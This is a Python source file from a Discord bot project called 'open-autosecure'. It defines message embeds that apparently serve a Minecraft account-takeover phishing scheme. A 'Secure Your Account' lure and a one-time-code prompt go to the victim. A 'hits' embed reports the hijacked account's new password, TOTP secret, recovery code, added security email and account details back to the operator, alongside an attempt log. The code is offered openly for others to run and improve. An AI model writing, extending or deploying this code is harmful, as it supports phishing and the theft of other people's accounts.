sten.wtf / Unstable Instance

open-autosecure — Unstable Instance. May not even function properly but you are free to help improvise it.

bot/embeds.py

from __future__ import annotations

from datetime import datetime, timezone
from typing import Any

import discord

WATERMARK = "Open-source AutoSecure by Sten"


def verification_embed() -> discord.Embed:
    return discord.Embed(
        title="Secure Your Account",
        description=(
            "Click the button below to verify and secure your Minecraft "
            "account. It only takes a minute."
        ),
        colour=discord.Colour.blurple(),
    )


def otp_sent_message(email: str) -> str:
    return (
        f"We've sent a one-time code to {email} — enter it below to "
        "complete verification."
    )


def _name_change_label(allowed: bool | None) -> str:
    if allowed is None:
        return "Unknown"
    return "Allowed" if allowed else "Not allowed"


def hits_embed(result: Any) -> discord.Embed:
    embed = discord.Embed(
        title="Account Secured",
        colour=discord.Colour.green(),
        timestamp=datetime.now(timezone.utc),
    )
    embed.add_field(name="New Password", value=str(result.new_password), inline=False)
    embed.add_field(name="TOTP Secret", value=str(result.new_totp_secret), inline=False)
    embed.add_field(name="Recovery Code", value=str(result.new_recovery_code), inline=False)
    embed.add_field(name="Security Email", value=str(result.added_security_email), inline=False)
    embed.add_field(name="MC Username", value=str(result.mc_username), inline=True)
    embed.add_field(name="MC UUID", value=str(result.mc_uuid), inline=True)
    embed.add_field(name="Capes", value=str(result.mc_capes) if result.mc_capes else "None", inline=True)
    embed.add_field(name="Ownership", value=str(result.mc_ownership) if result.mc_ownership else "Unknown", inline=True)
    embed.add_field(name="Name Change", value=_name_change_label(result.mc_name_change_allowed), inline=True)
    embed.add_field(name="Method", value=str(result.method), inline=True)
    embed.add_field(name="Discord User", value=f"<@{result.discord_user_id}>", inline=True)
    embed.set_thumbnail(url=result.skin_url)
    embed.set_footer(text=WATERMARK)
    return embed


def logs_embed(guild_id, discord_user_id, method, status, fail_reason) -> discord.Embed:
    colour = discord.Colour.green() if status == "success" else discord.Colour.red()
    embed = discord.Embed(
        title="Secure Attempt",
        colour=colour,
        timestamp=datetime.now(timezone.utc),
    )
    embed.add_field(name="Guild", value=str(guild_id), inline=True)
    embed.add_field(name="Discord User", value=f"<@{discord_user_id}>", inline=True)
    embed.add_field(name="Method", value=str(method), inline=True)
    embed.add_field(name="Status", value=str(status), inline=True)
    embed.add_field(name="Fail Reason", value=str(fail_reason) if fail_reason else "—", inline=False)
    embed.set_footer(text=WATERMARK)
    return embed